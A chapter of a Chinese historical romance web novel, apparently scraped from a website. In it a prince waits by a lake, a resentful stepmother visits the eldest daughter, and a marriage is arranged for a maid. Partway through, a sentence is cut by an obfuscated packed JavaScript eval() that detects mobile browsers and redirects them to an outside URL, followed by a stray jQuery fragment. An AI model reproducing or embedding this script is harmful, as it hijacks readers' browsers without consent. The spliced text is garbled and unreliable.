等了半晌，仍不见段林木踪影，隔壁亭中也没有吴祭酒那位掌上明珠的嫡孙女，倒是此地管事亲自现身，来到谢兆面前告知道：“殿下，段公子教小的来告诉您，说您不用等他，待明日他自会去往瑞王府。”
谢兆搁下茶杯，随口问道：“他去哪了？”
管事答：“段公子正在湖上泛舟，此刻——”他抬头望了望，摇头说，“此刻已走远，这里是瞧不见了，不过殿下放心，舟上护卫齐全，另外周围也有我们的人暗中轮流巡护，不会出现任何纰漏。”
谢兆点了点头，挥手让人离去。
天色尚早，天气不冷不热，谢兆难得闲适，身子也没什么不爽利，坐姿便不那么端正起来，神情里也平添了几分慵懒，视线轻轻落在不远处那道身影上，心中的念头却早就神游不知几万里。
袁彦浑然不觉，或是察觉到了也就随他去，反正只要她不回头，他们之间仍然是井水犯不了河水。
直到天将暗，那主仆三人已经收拾东西准备打道回府，谢兆方才收回目光。稍微活动几处关节，才发现身体各处竟然又僵又麻，不自觉便笑了起来，偷得浮生一日闲。
袁彦有些乏，回程便没有骑马，老老实实坐进了马车，一路慢腾腾。
回府正赶上府上用晚饭，袁彦只在薛崇贵在的时候才会去和薛家人一块吃，大部分时候都是让自己院子的小厨房做来吃。厨房虽占了“小”字，地方却一点不比妫氏那边的大厨房小多少，什么都有，人员都是她从南疆带过来的，有薛崇贵帮忙转换身份，妫氏暗中查过他们，发现几人背景有理有据干干净净，无奈歇了所有心思。
薛崇贵还在衙署未归，袁彦进了府门便径自往水天居方向去，没有绕路去跟妫氏打招呼。
正用饭的妫氏听闻来报，想了想，放下饭碗，叮嘱两个孩子好好吃饭，自己则带着翠语也往水天居去。
这座院子本是妫氏早早相中，准备将来划给薛礼，他现在住的院子是东苑附带的，小小一个，连个厢房都没有，读书睡觉甚至偶尔吃饭都只能在那一间小屋中完成，实在没有家中嫡长子的任何待遇可言。妫氏心中老大不乐意，虽说管着家中中馈，却在这种事上没有任何话语权，她曾试着争取，而薛崇贵给的答复是：天行健，君子以自强不息。
她听后半晌都没回过味来。
妫氏对读书一事向来能省则省，去找薛崇贵闹要的不过就是一句准话，得到的却是这么一句。
都什么跟什么？
一个当人家爹的，对亲生子如此苛刻，教外人听去还不笑掉大牙？爹都当不好，还谈什么君子不君子的！
她这般想，也这般闹，薛崇贵听了她那些言之凿凿的抱怨，心中只余叹息，不欲再开口，躲进茶室偷清闲。
结果去年那嫡长女一回来，薛崇贵竟然迫不及待做主将这座院子划给了她！
妫氏心中恼恨不已，奈何什么都不敢做，只好打落牙齿和血吞，关上房门将翠语抽了个半死，这事连离得最近的薛礼都不知道，薛渠住的稍远些，就更不知情。
妫氏这两年来很少走到这，实在怕一见到，心中那份压下去的不甘愿就又涌上来。
此刻水天居近在眼前，妫氏修心不到家，还没跨过大门，就紧急深吸口气。旁边的翠语低眉敛目，眼观鼻鼻观心，早早做好了回去再被抽一顿的准备，如今再不像先开始那般日日战战兢兢，左右也打不死人，挨过去就好了。
韵采得了袁彦的令，出来将妫氏迎到了偏厅。
“夫人稍候，小姐正在沐浴更衣。”韵采说完，就有奉茶丫头端来茶水点心，轻轻放到妫氏面前。
妫氏拗着性子，压下那些翻涌而来的不满，端起杯子喝茶。
轻轻啜了一口，就有人珊珊而来，在偏厅外施施然揖了一礼，声音甜软，“见过夫人。”
妫氏别开目光，想要眼不见心不烦。
明秋不以为意，自顾走进来，先是抬头看了眼翠语，后者目不斜视，假做没瞅见她，明秋微微笑了笑，与韵采以眼神询问，韵采便笑着说：“秋姑娘也坐吧，小姐说了，今日所要说的事情，本就与秋姑娘有关。”
明秋视线再次笑瞥了妫氏一眼，这才坐在了下首处。
立刻有奉茶丫鬟上茶点，样式差不多与妫氏桌上的相同。
妫氏看了一眼，冷哼一声，重重搁下茶杯，刚要发作，就又有人自厅外跨进，端端正正站在那，神色淡淡，“母亲。”
妫氏到了舌尖的火气瞬间四散开来，一瞬间头晕目眩。
今日为何而来，当了母亲的，还不得好好给子女做一番谋划，要不是那做爹的不作为，她堂堂一位尚书夫人，何至于在这非亲非故的嫡长女处捏着鼻子受这等窝囊气！
“来了，”妫氏尽量和气，挤出一个笑脸道，“那就开始说正事吧。”
袁彦坐在了妫氏与明秋之间的位置，奉茶丫鬟提早得令，只端了碗羹汤来，柔声道：“小姐请用。”
袁彦笑说：“母亲见谅，阿灵刚刚归家，尚未用饭，实在是饥肠辘辘，刻不容缓。”
明秋将话接过来，“姐姐尽管吃，这一时半刻，明秋还是等得起的。”
妫氏望了眼明秋，面上不显，心中冷笑。
明秋视若无睹，一如方才妫氏对她那般。
屋中一时安静异常，只有瓷质汤匙轻轻磕碰碗壁的“叮咚”声响。
袁彦吃得慢条斯理，明秋喝茶吃光了桌上的点心。妫氏只顾喝茶，其余一点没动，不知是这院子与她犯冲还是什么，闻着鼻端似有若无的熏香，越发心浮气躁。
终于见她搁下碗，妫氏不满道：“阿灵，不是我说你，一日时间有限，什么时候该做什么事都要早早有个章程，不然一拖再拖，乱了别人的习惯计划，终究是做事不够妥帖。”
袁彦歉意一笑，“母亲见谅，阿灵记下了——说正事吧。”
妫氏咬住舌头，咽下接下来那些唠叨。
“明秋的终身大事，原本阿灵不愿意掺和，毕竟母亲乃当家主母，我一个做女儿的张罗这些实为不妥，不过既然母亲乐意将此事交给阿灵，那阿灵自然不会推脱，母亲放心，此事阿灵一定尽心尽力，教明秋嫁得如意郎君。”
明秋率先站起来，难掩心中欣喜，盈盈一拜，“明秋谢过小姐。”
袁彦手臂虚抬，示意她不必如此。
妫氏冷眼旁观，什么话都教你说了去，姑娘家家，未婚亦未曾议过亲事，竟还有脸干起媒婆的勾当，传出去怕是满平京城都要笑话尚书府了！偏偏家里老爷默认此事，当真是疼到了眼珠子上，照这样下去，哪天她欲上天将那圆月当后院，尚书大人怕也只会说一句“容我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15443182|169396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想想办法”了！
袁彦看了妫氏一眼，继续说：“明秋现在已经记在了母亲名下，身份尊贵，当然自身本也是非常拿得出手，这些便不细说，只说如何与郭大人家的那位二公子搭上话。”
明秋眼神熠熠，她老早就知道那位郭司业，在他尚未考取功名时便远远见过，读书人特有的书卷气在他身上发挥的淋漓尽致，她不敢靠近，又忍不住一看再看，因为别的闺阁小姐也在看，她总怕看得没有比别人多一眼。
有时候白天看过，夜里睡梦中，还会得偿所愿地教人偷偷入梦来。
她当然不会奢望将之据为己有，却怎么也想不到有一天，这等天大好事会直接盖到她的头上，还是这位嫡长女主动送上门的——多少闺阁小姐争相之人，她竟主动让与她，也难怪，在外糟了那么多年罪，即使现在刻意打扮得端庄大方又如何？还不是个眼窝子浅的傻子！
妫氏担忧道：“话虽如此，可你如何保证那郭司业就能心甘情愿娶了明秋进门？”说着她笑了笑，看着袁彦，又瞥向明秋，“毕竟人家从始至终要求娶的，唯独是阿灵你呢。”
明秋垂着眼偷偷咬住唇内软肉，睫毛微微一颤，说一千道一万，心中再如何诋毁，只要有个苗头，也仍然没底。
袁彦不计较妫氏那点小心思，只是回道：“这点无需母亲担心，阿灵自会处理妥当——秋姑娘也不用多想，过段时间出嫁，自然是那郭司业真心求娶的。”
明秋轻轻点头，想了想，再次起身揖礼，“谢谢小姐。”
袁彦坦然受了，而后说：“不必多礼，”转过头向妫氏，“稍后阿灵会给母亲罗列好接下来要做之事，母亲看过之后觉得可行，只管照做，若觉不妥，阿灵便再与母亲商议。”
妫氏扯了扯嘴角，她敢说什么不妥？多说一个字，怕是一家之主的尚书大人要头一个给她脸色看！
又陆续说了些别的，袁彦就主动起身送客。
妫氏带着翠语出了水天居的大门，浑身莫名其妙打了个激灵，忍不住回头望了眼门里，心中没来由感到怪异：她一个当家主母，为何一进到这座院子，就凭白觉得矮人一头？
越想心中越是惴惴，不对劲，太不对劲了，妫氏脚步加快，一路头都不敢回，像被什么紧紧追赶一般！
翠语也跟着埋头快走，原本已经做好准备挨顿毒打，不想回到东苑之后，妫氏却反常地让她独自下去休息，自己则关了屋门，吩咐一声“无事别来打扰”后，就再没出来过，直到亥时初，屋里的灯方才熄灭。
薛崇贵子时方归，见后院没留灯，便独自歇在了书房。
临风阁书房内，谢兆手握一本几日前在书肆寻来的孤本，看得不甚专心，直到窗口处传来一阵响动，抬眸望去，一颗心便不受控地提起来。
少年暗卫荷风风尘仆仆，一路快马加鞭，换过五匹马，终于将一份记录详实的册子呈到了谢兆的桌案前。
“殿下，幸不辱命。”
谢兆搁下孤本在一边，一手紧紧扣住那本册子，没有立刻翻开，只对那暗卫荷风笑道：“藏锋那备了丰厚奖赏，自去领来。”
少年累极，闻言却仍难掩惊喜。
“谢过殿下！”
谢兆挥挥手，荷风来去如风，悄然而去。
垂眼盯住桌上册子，谢兆静了静，捻开一页。